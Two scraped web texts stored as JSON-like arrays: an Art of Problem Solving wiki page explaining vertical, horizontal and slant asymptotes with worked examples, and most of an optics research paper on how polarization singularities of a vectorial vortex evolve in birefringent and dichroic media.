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https://artofproblemsolving.com/wiki/index.php?title=Asymptote_(geometry)&diff=prev&oldid=122167 | [
"# Difference between revisions of \"Asymptote (geometry)\"\n\nFor the vector graphics language, see Asymptote (Vector Graphics Language).\n\nAn asymptote is a line or curve that a certain function approaches.",
null,
"The function",
null,
"$y=\\tfrac{2x}{x-2}$ has a vertical asymptote at x=2 and a horizontal asymptote at y=2\n\nLinear asymptotes can be of three different kinds: horizontal, vertical or slanted (oblique).\n\n## Vertical Asymptotes\n\nThe vertical asymptote can be found by finding values of",
null,
"$x$ that make the function undefined. Generally, it is found by setting the denominator of a rational function to zero.\n\nIf the numerator and denominator of a rational function share a factor, this factor is not a vertical asymptote. Instead, it appears as a hole in the graph.\n\nA rational function may have more than one vertical asymptote.\n\n### Example Problems\n\nFind the vertical asymptotes of 1)",
null,
"$y = \\frac{1}{x^2-5x}$ 2)",
null,
"$\\tan 3x$.\n\n#### Solution\n\n1) To find the vertical asymptotes, let",
null,
"$x^2-5x=0$. Solving the equation:",
null,
"$\\begin{eqnarray*}x^2-5x&=&0\\\\x&=&\\boxed{0,5}\\end{eqnarray*}$\n\nSo the vertical asymptotes are",
null,
"$x=0,x=5$.\n\n2) Since",
null,
"$\\tan 3x = \\frac{\\sin 3x}{\\cos 3x}$, we need to find where",
null,
"$\\cos 3x = 0$. The cosine function is zero at",
null,
"$\\frac{\\pi}{2} + n\\pi$ for all integers",
null,
"$n$; thus the functions is undefined at",
null,
"$x=\\frac{\\pi}{6} + \\frac{n\\pi}{3}$.\n\n## Horizontal Asymptotes\n\nFor rational functions in the form of",
null,
"$\\frac{P(x)}{Q(x)}$ where",
null,
"$P(x), Q(x)$ are both polynomials:\n\n1. If the degree of",
null,
"$Q(x)$ is greater than that of the degree of",
null,
"$P(x)$, then the horizontal asymptote is at",
null,
"$y = 0$. This can be seen by noting that as",
null,
"$x$ increases,",
null,
"$Q(x)$ increases much faster than",
null,
"$P(x)$ does. Since the denominator increases faster than the numerator, as x approaches infinity, y gets smaller until it approaches zero. A similar trend can be seen as x decreases.\n\n2. If the degree of",
null,
"$Q(x)$ is equal to that of the degree of",
null,
"$P(x)$, then the horizontal asymptote is at the quotient of the leading coefficient of",
null,
"$P(x)$ over the leading coefficient of",
null,
"$Q(x)$.\n\n3. If the degree of",
null,
"$Q(x)$ is less than the degree of",
null,
"$P(x)$, see below (slanted asymptotes)\n\nA function may not have more than one horizontal asymptote. Functions with a \"middle section\" may cross the horizontal asymptote at one point. To find this point, set y=horizontal asymptote and solve.\n\n### Example Problem\n\nFind the horizontal asymptote of",
null,
"$f(x) = \\frac{x^2 - 3x + 2}{-2x^2 + 15x + 10000}$.\n\n#### Solution\n\nThe numerator has the same degree as the denominator, so the horizontal asymptote is the quotient of the leading coefficients:",
null,
"$y= \\frac {1} {-2}$\n\n## Slant (Oblique) Asymptotes\n\nFor rational functions",
null,
"$\\frac{P(x)}{Q(x)}$, a slant asymptote occurs when the degree of",
null,
"$P(x)$ is one greater than the degree of",
null,
"$Q(x)$. If the degree of",
null,
"$P(x)$ is two or more greater than the degree of",
null,
"$Q(x)$, then we get a curved asymptote. Again, like horizontal asymptotes, it is possible to get crossing points of slant asymptotes.\n\nFor rational functions, we can find the slant asymptote simply by long division, omitting the remainder and setting y=quotient.\n\n### Example Problem\n\nFind the slant asymptote of",
null,
"$y= \\frac{x^2+2x+4} {x+1}$\n\nSolution",
null,
"$\\frac{x^2+2x+4}{x+1}= x+1+\\frac{3} {x+1}$\n\nThe slant asymptote is",
null,
"$y=x+1$",
null,
"The function",
null,
"$y=\\tfrac{x^2+2x+4} {x+1}$ has a slant asymptote at y=x+1"
]
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https://www.osapublishing.org/oe/fulltext.cfm?uri=oe-16-2-695&id=148790 | [
"## Abstract\n\nWe describe the evolution of a paraxial electromagnetic wave characterizing by a non-uniform polarization distribution with singularities and propagating in a weakly anisotropic medium. Our approach is based on the Stokes vector evolution equation applied to a non-uniform initial polarization field. In the case of a homogeneous medium, this equation is integrated analytically. This yields a 3-dimensional distribution of the polarization parameters containing singularities, i.e. C-lines of circular polarization and L-surfaces of linear polarization. The general theory is applied to specific examples of the unfolding of a vectorial vortex in birefringent and dichroic media.\n\n## 1. Introduction\n\nSingular optics is an essential part of modern optics, which contributes to practically all fundamental wave phenomena [1–4]. Scalar wave fields are characterized by phase singularities (i.e., zeros of the intensity where the phase is undeterminate), such as optical vortices which have found a number of applications in classical and quantum optics [3,4]. Vector fields, e.g. electromagnetic or elastic waves, have more degrees of freedom and are also characterized by polarization singularities [5–9]. The generic types of the polarization singularities of transverse electromagnetic waves in 3D space are C-lines and L-surfaces, where the polarizations are, respectively, circular and linear. In the two cases, the polarization ellipse degenerates either to a circle (the eccentricity vanishes and the orientation is undeterminate) or to a line segment (the helicity vanishes and sign of polarization is undeterminate).\n\nThe wave field singularities may form a rich variety of structures in rather simple systems. Even interference of only three plane scalar waves results in a lattice of optical vortices . Clearly, propagation in inhomogeneous or/and anisotropic media significantly modifies the wave interference patterns and, hence, gives rise to a quite tangled singularities structures. Therefore, the wave field singularities in complex media are frequently studied within the statistical approach [7,9,11]. At the same time, for various applications it is very important to describe behavior of the specific singularities explicitly, i.e. in a deterministic way. There is a number of laboratory methods for generating and manipulating phase [3,4] and polarization [12,13] singularities in electromagnetic fields. Therefore, one of the currently important problems is to know how singularities evolve as the wave propagates through a medium.\n\nPropagation of uniformly-polarized paraxial beams with phase vortices in inhomogeneous or anisotropic media have been studied recently [14–16]. While such beams represent independent localized modes of a smoothly inhomogeneous isotropic medium , phase vortices become drastically unstable in an anisotropic medium [15,16]. Even in the simplest uniaxial homogeneous medium, the phase vortex disappears, giving way to an essentially space-variant polarization pattern with a variety of polarization singularities [15,16]. The following features are characteristic for this system: (i) an initial phase singularity, (ii) a uniform initial polarization, and (iii) a double refraction in the medium, which destroys the phase singularity and transforms in to a set of polarization singularities.\n\nIn the present paper we aim to investigate the dynamical behavior of the polarization singularities in a paraxial wave field propagating in a weakly anisotropic and, possibly, inhomogeneous medium. However, in contrast to [15,16], the problem is considered under opposite conditions: (i) a space-variant polarization pattern with polarization singularities in the incident field and (ii) absence of the phase singularities therein; (iii) we argue that double refraction is negligible in the system, while the variations of the normal modes parameters (phases and amplitudes) along the propagation direction lead to an effective dynamics of the polarization distribution and singularities. Our choice of the initial conditions is justified by two reasons. First, it is the presence of an effective technique using subwavelength gratings for generating arbitrary space-variant polarization patterns of the field [12,13]. Second, as it follows from [15,16], the phase singularities become unstable in anisotropic media, while the polarization ones experience a continuous evolution.\n\nBy applying a dynamical approach, well-established in standard polarimetry [17,18], to a space-variant polarization pattern, we develop a powerful method for studying 3D complex polarization distributions. Assuming paraxial approximation and weak anisotropy, our approach reduces a challenging wave problem to the solution of effectively ordinary differential equation for the Stokes vector evolution along the wave propagation direction [18–26]. The equation is integrated in a homogeneous medium analytically, and, despite its simple form, it reveals an intricate evolution of the polarization singularities when the wave propagates through the medium. Thus, our method brings together polarimetry and singular optics, thereby giving rise to singular polarimetry. It may have promising applications – space-variant polarization patterns with singularities can be more informative and sensitive with respect to the medium properties.\n\n## 2. General theory\n\n#### 2.1 Statement of the problem\n\nWe will examine propagation of a paraxial monochromatic electromagnetic wave through a weakly anisotropic and, possibly, inhomogeneous (stratified) medium. We assume that the wave propagates along the z axis, whereas the polarization ellipse lies nearly in the (x, y) plane, so that one can apply Mueller or Jones calculus to the z -dependent evolution of polarization [17–19]. Under this assumption, the incident field is treated as a collection of parallel rays that have essentially independent phase and amplitude evolution. Mathematically, this means that we deal with a Cauchy problem with an initial distribution of the field in the (x, y) plane at z=0 and some dynamical equation describing the evolution of the field along the z axis.\n\nLet the polarization of the wave field at a point r be described through the three-component normalized Stokes vector, s=s(r), s 2=1, representing the polarization state on the Poincaré sphere. Then, the Cauchy problem is given by the initial Stokes vector distribution,\n\n$s(x,y,0)=s0(x,y),$\n\nand a dynamical equation\n\n$∂s∂z=m̂s,$\n\nwhere m̂=m̂(s,z) is a matrix operator which relates the Stokes-vectors values in two neighbor points. Although equations similar to Eq. (2) are well-established in classical polarimetry [18–26], they usually assume the uniform polarization distribution in the transverse plane, s 0(x, y)=const, making the polarization evolution effectively one-dimensional, s=s(z). In contrast, a non-uniform initial distribution (1) in our problem, s 0(x,y)≠const, makes the polarization distribution essentially three-dimensional, s=s(x,y,z). Despite this, in order to find the complete distribution of the polarization in 3D space, s(r), one need to integrate an effectively ordinary differential equation (2) with initial conditions (1) for each point (x,y).\n\nThe formalism of 3-component Stokes vector provides a natural representation for the polarization singularities [8,16]. Indeed, the north and south poles of the Poincaré sphere correspond to the right- and left-hand circularly polarized waves, while the equator represents linear polarizations with different orientations. Then, C- and L-type polarization singularities are determined, respectively, by the conditions\n\n$s1=0,s2=0,$\n\nand\n\n$s3=0.$\n\nFrom Eqs. (3) and (4) it is clear that in the generic case C- and L-singularities are, respectively, lines and surfaces in 3D space: the dimension of the singularity is the dimension of the space minus the number of constraints. Alternatively, one may refer to C-points and L-lines in the (x, y) plane (2D space) and their evolution along the z axis. Note also, that polarization singularities are essentially determined by the third component of the Stokes vector - conditions (3) are equivalent to |s 3|=1, or s 3=χ, where χ=±1 is the wave helicity which indicates the sign of polarization in the C-point. Having a solution of the problem Eqs. (1) and (2), s=s(r), one immediately gets the space distribution of all polarization singularities from Eqs. (3) and (4). Note also that Eq. (1) implies that there are no phase singularities in the initial field, i.e. the intensity of the wave does not vanish: I 0(x,y)=I(x,y,0)≠0 (otherwise, the Stokes vector s would be undefined in nodal points). As we will see, the dynamical equation (2) ensures that the nodal points cannot appear at z≠0 as well: I(x,y,z)≠0.\n\nOur approach of z -dependent evolution, Eqs. (1) and (2), is justified assuming that the refraction and diffraction processes are negligible. Let the wave field be characterized by two scales: the wavelength λ and a typical scale of its transverse distribution in the (x, y) plane, wλ. At the same time, the medium anisotropy is characterized by a typical difference between the dielectric constants corresponding to the normal modes, ν≪1. Then, diffraction and refraction effects are negligible if: (i) the propagation distance is much smaller than the typical diffraction distance (the Rayleigh range), ZZR=w 2/λ and (ii) the propagation distance is much smaller than the distance at which the double refraction of the anisotropic medium causes transverse shifts comparable with w, i.e. ZZDw/ν. Note that the characteristic distance of the polarization evolution due to Eq. (2), ZP=λ/ν, is much smaller than ZD and can be small as compared to ZR. Thus, our approach is effective within the range of distances\n\n$zP≤z≪zR,zD.$\n\nFor instance, for a visible laser beam with λ⋍0.6µm and width w⋍1mm propagating through Quartz (where anisotropy is ν⋍0.03), we have ZR~1.5m, ZD~30mm, and ZP⋍0.02mm. This gives the propagation range 0.02mm≤z≪30mm.\n\n#### 2.2 Equation for the Stokes vector evolution\n\nTo derive the evolution equation (2) for the 3-component Stokes vector s, let us start with the 4-component Stokes vector, S⃗. Hereafter, 4-component vectors are indicated by arrows, and the last three components of a 4-vector form usual 3-component vector, so that S⃗=(S 0,S 1,S 2,S 3)≡(S 0,S). In the most general case of a linear anisotropic medium the Stokes vector S⃗ obeys the following evolution equation [18–26]:\n\n$∂S→∂z=M̂S→,$\n\nwhere M̂ is the differential Mueller matrix (a 4×4 real matrix) which summarizes optical properties of the medium. These are given by 2×2 complex dielectric tensor:\n\n$ε̂=ε0Î2+ν̂≡(ε0+νxxνxyνyxε0+νyy).$\n\nHere ε 0 Î 2 is the main, isotropic part proportional to the unit matrix Î 2=diag (1,1), $ν^$ is a small anisotropic part (which effectively represents the differential Jones matrix), and we assume Im ε 0=0 (small dissipation is ascribed to the anisotropic term). The differential Mueller matrix can be represented as [19,24,26]\n\n$M̂=(ImG0ImG1ImG2ImG3ImG1ImG0−ReG3ReG2ImG2ReG3ImG0−ReG1ImG3−ReG2ReG1ImG0).$\n\nHere the complex 4-component vector G⃗=(G 0,G) is expressed via components of the dielectric tensor (7) as\n\n$G→=−k02ε0[(νxx+νyy),(νxx−νyy),(νxy+νyx),i(νxy−νyx)]T,$\n\nwhere k 0 is the wave number in vacuum, and components of quantities (7)–(9) can be z - dependent. Vector G⃗ gives decomposition of the anisotropy tensor $ν^$, Eq. (6), with respect to the basis of Pauli matrices, and establishes close relations between polarization optics (Mueller and Jones calculus) and relativistic problems with the Lorentz-group symmetry [20,24,26–31]. In particular, Eq. (6) for the Stokes vector evolution is similar to the Bargman-Michel-Telegdi equation for relativistic spin precession [26,32].\n\nThe matrix M̂ can be decomposed into three parts responsible for different optical properties of the medium [18–26]:\n\n$M̂=ImG0Î4+(0ImG1ImG2ImG3ImG1000ImG2000ImG3000)+(000000−ReG3ReG20ReG30−ReG10−ReG2ReG10),$\n\nwhere Î 4=diag (1,1,1,1) is the unit matrix. The first, diagonal part, proportional to ImG 0, describes the common attenuation of the field intensity. The second, symmetric part, related to components of ImG, describes the phenomenon of dichroism, i.e. the selective attenuation of different field components. Finally, the third, antisymmetric part of M̂, related to components of ReG, is responsible for the medium birefringence. The component 0 ReG does not contribute to the matrix (8), since it causes merely an additional total phase of the wave field, which does not affect the polarization state and is lost in the Stokes vector representation.\n\nEvolution of the normalized 3-component Stokes vector can be derived immediately from Eqs. (6) and (8) by differentiating the definition s=S/S 0. As a result, we find that the 3-component Stokes vector obeys the following equation :\n\n$∂s∂z=(Ω+s×∑)×s,$\n\nwhere we denoted ReGΩ and ImGΣ. This equation represents the basic evolution equation (2) in the general case. [In terms of Eq. (2), the matrix m̂ is given by mij=-eijkΩk-eijk eklm slΣm, where indices take values 1, 2, 3 and eijk is the unit antisymmetric tensor.] Thus, all the evolution on the Poincaré sphere can be described by the precession equation (10) which includes two real vectors Ω and Σ responsible for the birefringent and dichroic effects, respectively. Equation (10) conserves the absolute value of the normalized Stokes vector under the evolution: ∂s 2/∂z=0. The common attenuation, ImG 0, naturally, does not affect the normalized Stokes vector and is absent in Eq. (10). Note also that Eq. (10) resembles the Landau-Lifshitz equation describing the nonlinear spin precession in ferromagnets , but, in contrast to the latter, Eq. (10) contains two different effective fields Ω and Σ. In inhomogeneous medium Ω=Ω(z) and Σ=Σ(z).\n\n#### 2.3 Solutions in a homogeneous birefringent medium\n\nIn a homogeneous non-dissipative birefringent medium, Eq. (10) takes simple form of the classical precession equation [22,23,25]:\n\n$∂s∂z=Ω×s.$\n\nAccording to Eq. (11), as the wave propagates along the z axis, the Stokes vector s precesses with a constant spatial frequency Ω about the fixed direction ω=Ω/Ω. In terms of the medium properties, direction ω and absolute value Ω characterize, respectively, the type and the strength of the medium birefringence. In so doing, two “stationary” solutions s ±ω on the Poincaré sphere correspond to mutually-orthogonal eigenmodes of the medium. In particular, ω=(0, 0,±1) and ω=(ω12,0) correspond, respectively, to the cases of circularly- and linearly-birefringent medium. Equation (11) with initial condition (1) can be easily integrated: s(x,y,z)= ωz)s 0(x,y), where ωz) is the operator of rotation about ω on the angle Ωz. Using the Rodrigues rotation formula , we arrive at\n\n$s=s0cos(Ωz)+(ω×s0)sin(Ωz)+(ωs0)ω[1−cos(Ωz)].$\n\nTogether with Eq. (1), this equation gives solution for the Stokes-vector distribution in space.\n\nIn a circularly birefringent medium, distribution of polarization singularities in (x,y) plane does not vary when the wave propagates along the z axis. Indeed, the helicity of the wave, given by the third component of the Stokes vector, is invariant of Eqs. (11) and (12), s 3=const, when ω=(0, 0,±1). Thus, C-lines (s 3=±1) and L-surfaces (s 3=0) are parallel to the z axis in this case and are trivially determined by the initial distribution (1) with Eqs. (3) and (4):\n\n$s01=0,s02=0,$\n\nand\n\n$s03=0.$\n\nOn the contrary, polarization singularities evolve in a linearly-birefringent medium, cf. [15,16]. As it is clear from Eq. (12), this evolution is periodic in z with the period 2π/Ω. In fact, L-lines and C-points in (x,y) plane come back to the initial locations after π/Ω period, corresponding to the half-wavelength plate. In so doing, C-points only change their signs after π/Ω period. One can also note that under propagation at π/2Ω distance (corresponding to the quarter-wavelength plate) C-points give their place to points of L-lines, while some points of L-lines give place to C-points. To determine the whole 3D structure of polarization singularities note that vector ω=(ω1, ω2, 0) can be reduced to ω=(1,0,0) by a fixed rotation of coordinate axes in the (x,y) plane, which brings the anisotropy tensor $ν^$, Eq. (7), to the principal axes. Then, substituting solution (12) with ω=(1,0,0) into Eqs. (3) and (4), we obtain equations determining C-lines and L-surfaces:\n\n$s01=0,tan(Ωz)=s02s03,$\n\nand\n\n$tan(Ωz)=−s03s02.$\n\nIn contrast to Eqs. (13) and (14), these rather simple equations reveal non-trivial z -dependent dynamics of polarization singularities (see examples in Section 3.2).\n\n#### 2.4 Solutions in a homogeneous dichroic medium\n\nIn a homogeneous dichroic medium, with selective attenuation of modes but without a phase difference between them (i.e., Ω=0), Eq. (10) takes the form\n\n$∂s∂z=(s×∑)×s.$\n\nSimilarly to Eq. (11), this equation has two “stationary” solutions s ±σ (where σ=Σ/Σ), which determine eigenmodes of the medium. However, in contrast to the birefringent-medium case, solution on s - is “unstable”. As we will see, solutions of Eq. (17) move on the Poincaré sphere away from s - towards s +. Thus, the dichroic medium is a polarizer, in which only one mode (given by s +) survives at long enough propagation distances. Equation (17) can be integrated analytically at Σ=const, which yields the solution (see Appendix):\n\n$s=2(1+A0)e∑z+(1−A0)e−∑zs0+(1+A0)e∑z−2A0−(1−A0)e−∑z(1+A0)e∑z+(1−A0)e−∑zσ,$\n\nwhere A 0=s 0 σ. As seen from Eq. (18), all solutions with s 0s - move in the plane given by vectors s 0 and σ, and tend exponentially to s + point. Supplied with the initial distribution (1), Eq. (18) gives the Stokes-vector distribution in 3D space.\n\nIn contrast to the birefringent-medium case, polarization singularities vary along z both in circularly and linearly dichroic medium. More precisely, in a circularly-dichroic medium, σ=(0,0,±1), C-points in the (x,y) plane do not evolve with z since circular polarizations correspond to “stationary” solutions s ± in this case. Thus C-lines in 3D space are parallel to the z axis and determined analogously to Eq. (13):\n\n$s01=0,s02=0.$\n\nAt the same time, L-lines in the (x,y) plane evolve with z, and L-surfaces in 3D space are determined by Eq. (4) with (18):\n\n$(1+A0)e∑z−(1−A0)e−∑z(1+A0)e∑z+(1−A0)e−∑z=0,$\n\nwhere A 0=s 03 σ 3. Equation (20) can be resolved with respect to z, which yields\n\n$tanh(∑z)=−s03σ3.$\n\nConversely, in a linearly-dichroic medium, where σ=(1, 0, 0) in the principal-axes coordinate frame, L-surfaces are parallel to the z axis and are given by Eq. (14):\n\n$s03=0.$\n\nAt the same time, C-points in the (x,y) plane evolve with z, and 3D C-lines are determined by Eq. (3) with (18), i.e.\n\n$(1+A0)e∑z−(1−A0)e−∑z(1+A0)e∑z+(1−A0)e−∑z=0,s02=0,$\n\nwhere A 0=s 01. Resolving of this equation yields:\n\n$tanh(∑z)=−s01,s02=0.$\n\nThus, unlike birefringent medium, evolution of the Stokes vector and polarization singularities in dichroic medium is monotonic rather than periodic, see examples in Section 3.3. It is described by hyperbolic functions, which appear naturally in the Lorentz-group representation of polarization optics [30,31].\n\n## 3. Application: Evolution of a vectorial vortex\n\n#### 3.1 Initial polarization distribution\n\nAs a characteristic example of initial space-variant polarization pattern, Eq. (1), we consider a vectorial vortex, which possesses a singularity in the polarization distribution [12,13]. The Stokes-vector distribution (1) of a vectorial vortex at the origin can be given as\n\n$s01=1−f2(ρ)cos[m(φ−δ)],$\n$s02=1−f2(ρ)sin[m(φ−δ)],$\n$s03=f(ρ).$",
null,
"Fig. 1. Distributions of Stokes vectors (upper panel) and of polarization ellipses (lower panel) for vectorial vortices Eqs. (25) with a C-point in the center, Eq. (26), at different values of azimuthal index m. Hereafter, δ=0 and directions of Stokes vectors are naturally depicted in the real space with the s 1, s 2, and s 3 components pointing along the x, y, and z axis, respectively.\n\nHere (ρ,φ) are the polar coordinates in the (x,y) plane, f (ρ) is a radial distribution function, |f(ρ)|≤1, m=±1,±2,… is the integer number (the azimuthal index of the polarization distribution), and δ indicates a fixed angle between the distribution and x axis. In the above distribution, the Stokes vector experiences m complete rotations along a loop path enclosing the vortex center. Therefore, the distribution possesses the |m-1| -fold rotational symmetry (one turn is effectively compensated by a 2π rotation of local radial vector), Fig. 1. At the same time, the corresponding polarization pattern (i.e. the distribution of polarization ellipses in the (x, y) plane) reveals |m-2| -fold symmetry, Fig. 1. This is because a complete turn of the Stokes vector corresponds to a half-turn of the polarization ellipse; as a result, the symmetry of the polarization distribution is characterized by the order of |-2π|modπ. Note that the cases m=1 and m=2 are peculiar: the vectorial vortex represents an azimuthally-symmetric Stokes-vector and polarization distributions, respectively.\n\nPoints ρ=ρC and ρ=ρL, such that f(ρC)=χ=±1 and f(ρL)=0 correspond to C-and L-type singularities in the initial distribution (25). We will concentrate on a simple case of a single C-point with the right-hand circular polarization at the origin, so that f(0)=χ and 0<|f(ρ)|<1 at ρ>0. This case can be modeled using the function\n\n$f=χ1+(ρρ*)2,$\n\nwhere ρ* characterizes the radial scale of the distribution. The vectorial vortex (25) and (26) with the right-hand polarization in the center, χ=1, is characterized by the optical vortex (phase singularity) in the left-hand polarized component of the field, and vice versa. Below, we will examine the behavior of polarization singularities in homogeneous anisotropic media considered in Sections 2.3 and 2.4, assuming the initial polarization distribution of Eqs. (25) and (26).\n\n#### 3.2 Homogeneous linearly-birefringent medium\n\nSince the behavior of polarization singularities in a circularly-birefringent medium is trivial, Eqs. (13) and (14), let us consider the case of linearly-birefringent medium. Substituting the initial Stokes-vector distribution, Eqs. (25), into Eqs. (15) and (16) we obtain the equations describing C-lines and L-surfaces in space. For C-lines, this yields\n\n$1−f(ρ)2cos[m(φ−δ)]=0,tan(Ωz)=1−f2(ρ)sin[m(φ−δ)]f(ρ),$\n\nwhereas L-surfaces are described by equation\n\n$tan(Ωz)=−f(ρ)1−f2(ρ)sin[m(φ−δ)].$\n\nAssuming the initial distribution with radial function (26), we find that solutions of Eqs. (27) represent curves lying in the azimuthal planes φ=const and given by equations\n\n$φn=δ+π(2n+1)2m,tan(Ωz)=±1−f2(ρ)f(ρ)=±χρρ*.$\n\nHere n=0,1,…, 2m-1, signs “±” in the second equation correspond to even and odd n, respectively. Note that tan(Ωz) is either positive or negative at each value of z, and, hence, only solutions with either even or odd n are valid each time. They alternate after a period of π/2Ω, whereas all the structure of polarization singularities (up to sign of the polarization) has a period of π/Ω. L-surfaces (28) separate C-lines with different helicities χ (and space areas with positive and negative s 3) and represent azimuthally-corrugated surfaces. Figure 2 shows an example of the polarization singularities described by Eqs. (29) and (28). The initial C-point of m th order splits into m branches under the evolution along z. This reveals an instability of higher-order C-points during evolution in an anisotropic medium. Only C-points with of a minimal order, m=±1, are generic [5–9].",
null,
"Fig. 2. C-lines and L-surfaces under propagation of the vectorial vortex, Eqs. (25) and (26), with m=3 and χ=1 in a linearly-birefringent medium with ω=(1, 0,0). Dimensionless coordinates ξ=x/ρ*, η=y/ρ*, and ζz/π are used, whereas red and blue colors indicate C-lines with χ=1 and χ=-1, respectively.\n\nSimilarly to , one can verify conservation of the total topological charge by tracking the polarization singularities evolution. Topological charge, γ, characterizes each C-point in plane z=const and is equal to the product of its local azimuthal index, m, and sign of the polarization, χ=s 3: γ=. The total topological charge, $Γ=∑aγ(a)$ , should be z - independent [7,9,15]:\n\n$Γ=∑am(a)χ(a)=const.$",
null,
"Fig. 3. Distributions of Stokes vectors, Eq. (12), (upper panel) and of polarization ellipses (lower panel) for vectorial vortex, Eqs. (25) and (26), with m=3 and χ=1, propagating in a linearly-birefringent medium with ω=(1, 0,0), Fig. 2. Distributions are shown at different propagation distances ζz/π within half-period. Red and blue colors indicate areas with right-hand (s 3>0) and left-hand (s 3<0) polarizations. C-points are marked by dots (upper panel) and crosses (lower panel).\n\nHere a indicates different C-points and summation is taken over whole plane z=const. Figure 3 demonstrates polarization and Stokes-vector distributions, Eq. (12), for a vectorial vortex evolving in a linearly birefringent medium corresponding to Fig. 2. Conservation of Γ=3 is seen — initial C-point with m=3 and χ=1 is split into three C-points with m=1 and χ=1; then, crossing of L-surface causes simultaneous flip of helicity and azimuthal index: three C-points with m=-1 and χ=-1 occur; finally, they merge into single C-point with m=-3 and χ=-1.\n\n#### 3.3 Homogeneous dichroic media\n\nSubstituting initial distribution Eqs. (25) into Eqs. (18)–(24), we get the Stokes-vector distribution and polarization singularities in homogenous dichroic medium. In a circularly-dichroic medium, C-points do not evolve with z, Eq. (19), whereas the behavior of L-surfaces is given by Eq. (21) with Eq. (25):\n\n$tanh(∑z)=−f(ρ)σ3.$\n\nThus, the surface lies in the z<0 or z>0 half-space when σ 3>0 or σ 3<0, respectively. Structure of the polarization singularities with initial distribution (26) in a circularly-dichroic medium is shown in Fig. 4a.",
null,
"Fig. 4. C-lines and L-surfaces under propagation of the vectorial vortex, Eqs. (25) and (26), with m=3 and χ=1 in a dichroic medium. Pictures (a) and (b) correspond to circularly- and linearly-dichroic media with σ=(0,0,-1) and σ=(1,0,0), respectively. Dimensionless coordinates ξ=x/ρ*, η=y/ρ*, and ζz are used.\n\nIn a linearly-dichroic medium, L-surfaces are trivial, Eq. (22), whereas C-lines are described by Eqs. (24) with Eq. (25):\n\n$tanh(∑z)=−1−f2(ρ)cos[m(φ−δ)],1−f2(ρ)sin[m(φ−δ)]=0.$\n\nAssuming initial distribution with the radial function (26), we find that, similarly to Eq. (29), solutions of Eqs. (32) represent curves lying in the azimuthal planes φ=const:\n\n$φn=δ+πnm,tanh(∑z)=∓1−f2(ρ),$\n\nHere n=0,1,…, 2m-1, and signs “∓” in the second equation correspond to even and odd n, respectively. It is easily seen that solutions with even and odd n are realized, respectively, at z<0 and z>0, Fig. 4b. Thus, similarly to the case of linearly-birefringent medium, the initial C-point of the m th order is split into m C-points with unit azimuthal indices, Fig. 5. The total topological charge, Eq. (30), is also conserved in this process.",
null,
"Fig. 5. Distributions of Stokes vectors, Eq. (18), (upper panel) and of polarization ellipses (lower panel) for vectorial vortex, Eqs. (25) and (26), with m=3 and χ=1, propagating in a linearly-dichroic medium with σ=(1,0,0), Fig. 4b. Distributions are shown at different propagation distances ζz. C-points are marked by dots (upper panel) and crosses (lower panel).\n\n## 4. Conclusion\n\nTo summarize, we have developed an efficient formalism describing the evolution of non-uniformly polarized waves in anisotropic media. Provided that refraction and diffraction effects are negligible, our method reduces the initial wave problem to the integration of a simple differential equation for the Stokes-vector evolution. Polarization singularities are readily found in the resulting space distribution of the Stokes vector. The evolution equation has been integrated analytically for the characteristic cases of homogeneous birefringent and dichroic media.\n\nWe have applied the general formalism to the evolution of a polarization vortex in birefringent and dichroic media. The resulting space polarization patterns describe remarkable behavior of polarization singularities as the wave propagates in the medium. In particular, we showed the splitting of a higher-order vectorial vortex into a number of the minimal-order generic vortices and verified conservation of the topological charge under that process.\n\nThe fine behavior of the wave-field singularities in anisotropic media can be used for needs of polarimetry, and, perhaps, will enable one to increase the sensitivity of classical polarimetric methods.\n\nFinally, though we considered a rectilinear propagation of the wave along the z axis, our approach is also valid for the geometrical-optics wave propagation along smooth curvilinear rays in large-scale inhomogeneous media. In this case, the problem is reduced to the same form if one involves a local ray coordinate system with basis vectors being parallel-transported along the ray .\n\nNote added.– Recent paper with related arguments came to our attention after submission of this work.\n\n## Appendix: Solution of equation (17)\n\nTo integrate Eq. (17), note that the unit vector s can be represented as\n\n$s=Aσ−(B×σ).$\n\nHere we introduced two auxiliary quantities: scalar A= and vector B=(s×σ). From Eq. (17), it can be easily seen that they obey equations\n\n$∂A∂z=∑(1−A2),$\n$∂B∂z=−∑AB.$\n\nBy integrating Eq. (A2) we obtain\n\n$A=(1+A0)e∑z−(1−A0)e−∑z(1+A0)e∑z+(1−A0)e−∑z,$\n\nwhere A 0=A|z=0. Substituting Eq. (A4) into Eq. (A3) and performing integration, we arrive at solution for B:\n\n$B=2(1+A0)e∑z+(1−A0)e−∑zB0,$\n\nwhere B 0=B|z=0. Substituting Eqs. (A4) and (A5) into Eq. (A1) yields solution (18).\n\n## Acknowledgements\n\nThis work was partially supported by STCU (grant P-307) and CRDF (grant UAM2-1672-KK-06).\n\n1. M.V. Berry, “Singularities in waves and rays,” in R. Balian, M. Kléman, and J.-P. Poirier, editors, Les Houches Session XXV - Physics of Defects (North-Holland, 1981).\n\n2. J.F. Nye, Natural focusing and fine structure of light: caustics and wave dislocations (IoP Publishing, 1999).\n\n3. M.S. Soskin and M.V. Vasnetsov, “Singular optics,” Prog. Opt. 42, 219–276 (2001). [CrossRef]\n\n4. L. Allen, M.J. Padgett, and M. Babiker, “The orbital angular momentum of light,” Prog. Opt. 39, 291–372 (1999). [CrossRef]\n\n5. J.F. Nye, “Lines of circular polarization in electromagnetic wave fields,” Proc. R. Soc. London A 389, 279–290 (1983). [CrossRef]\n\n6. J.F. Nye and J.V. Hajnal, “The wave structure of monochromatic electromagnetic radiation,” Proc. R. Soc. London A 409, 21–36 (1987). [CrossRef]\n\n7. M.V. Berry and M.R. Dennis, “Polarization singularities in isotropic random vector waves,” Proc. R. Soc. London A 457, 141–155 (2001). [CrossRef]\n\n8. I. Freund, “Polarization singularity indices in Gaussian laser beams,” Opt. Commun. 201, 251–270 (2002). [CrossRef]\n\n9. M.R. Dennis, “Polarization singularities in paraxial vector fields: morphology and statistics,” Opt. Commun. 213201–221 (2002). [CrossRef]\n\n10. J. Masajada and B. Dubik, “Optical vortex generation by three plane wave interference,” Opt. Commun. 198, 21–27 (2001). [CrossRef]\n\n11. I. Freund, N. Shvartsman, and V. Freilikher, “Optical dislocation networks in highly random media,” Opt. Commun. 101, 247–264 (1993). [CrossRef]\n\n12. E. Hasman, G. Biener, A. Niv, and V. Kleiner, “Space-variant polarization manipulation,” Prog. Opt. 47, 215–289 (2005). [CrossRef]\n\n13. A. Niv, G. Biener, V. Kleiner, and E. Hasman, “Manipulation of the Pancharatnam phase in vectorial vortices,” Opt. Express 14, 4208–4220 (2006). [CrossRef] [PubMed]\n\n14. K. Yu. Bliokh, “Geometrical optics of beams with vortices: Berry phase and orbital angular momentum Hall effect,” Phys. Rev. Lett. 97, 043901 (2006). 